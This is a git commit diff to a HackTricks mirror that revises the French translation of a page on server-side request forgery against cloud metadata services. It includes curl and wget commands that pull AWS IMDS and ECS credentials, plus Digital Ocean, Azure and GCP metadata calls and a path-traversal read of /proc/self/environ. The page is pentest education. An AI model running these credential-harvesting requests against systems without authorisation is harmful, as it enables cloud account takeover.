mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.
This commit is contained in:
parent
58261cfc2a
commit
3c19298921
1 changed files with 16 additions and 16 deletions
|
@ -1,4 +1,4 @@
|
|||
# SSRF dans le cloud
|
||||
# SSRF Cloud
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,11 +6,11 @@
|
|||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -33,10 +33,10 @@ Il existe **2 versions** de la métadonnée. La **première** permet d'**accéde
|
|||
{% hint style="danger" %}
|
||||
Notez que si l'instance EC2 impose IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès à la métadonnée EC2 depuis un conteneur à l'intérieur de l'instance EC2.
|
||||
|
||||
De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela vise à empêcher les proxies inverses mal configurés de pouvoir y accéder.
|
||||
De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela est fait pour empêcher les proxies inverses mal configurés de pouvoir y accéder.
|
||||
{% endhint %}
|
||||
|
||||
Vous pouvez trouver des informations sur les [points de terminaison de métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes en sont extraites :
|
||||
Vous pouvez trouver des informations sur les [points de terminaison de métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, des informations intéressantes sont obtenues à partir de celui-ci:
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
|
@ -119,12 +119,12 @@ Remarquez le **aws\_session\_token**, c'est indispensable pour que le profil fon
|
|||
|
||||
Si vous accédez à _**http://169.254.170.2/v2/credentials/\<GUID>**_ vous trouverez les informations d'identification de la machine ECS. Mais d'abord, vous devez **trouver le \<GUID>**. Pour trouver le \<GUID>, vous devez lire la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** à l'intérieur de la machine.\
|
||||
Vous pourriez être en mesure de le lire en exploitant une **traversal de chemin** vers `file:///proc/self/environ`\
|
||||
L'adresse http mentionnée devrait vous donner les **AccessKey, SecretKey et token**.
|
||||
L'adresse http mentionnée devrait vous donner l'**AccessKey, SecretKey et le jeton**.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Notez que dans **certains cas** vous pourrez accéder à l'**instance de métadonnées EC2** depuis le conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
|
||||
Notez que dans **certains cas** vous pourrez accéder à l'**instance de métadonnées EC2** depuis le conteneur (vérifiez les limitations de TTL d'IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF pour AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -296,9 +296,9 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Fonctions Cloud <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
### Fonctions Cloud <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
L'endpoint de métadonnées fonctionne de la même manière que dans les VM mais sans certains endpoints:
|
||||
L'endpoint de métadonnées fonctionne de la même manière que dans les VM mais sans certains endpoints :
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
|
@ -326,10 +326,10 @@ done
|
|||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de bot dans les métadonnées
|
||||
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations sensibles dans les métadonnées
|
||||
{% endhint %}
|
||||
|
||||
Documentation disponible à [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
Documentation disponible sur [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
```
|
||||
curl http://169.254.169.254/metadata/v1/id
|
||||
http://169.254.169.254/metadata/v1.json
|
||||
|
@ -405,7 +405,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
|
||||
### Azure App Service
|
||||
|
||||
À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour récupérer un jeton afin de communiquer avec le serveur de métadonnées.
|
||||
À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Que vous pouvez utiliser pour récupérer un jeton pour communiquer avec le serveur de métadonnées.
|
||||
|
||||
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
|
||||
|
||||
|
@ -585,7 +585,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
Loading…
Reference in a new issue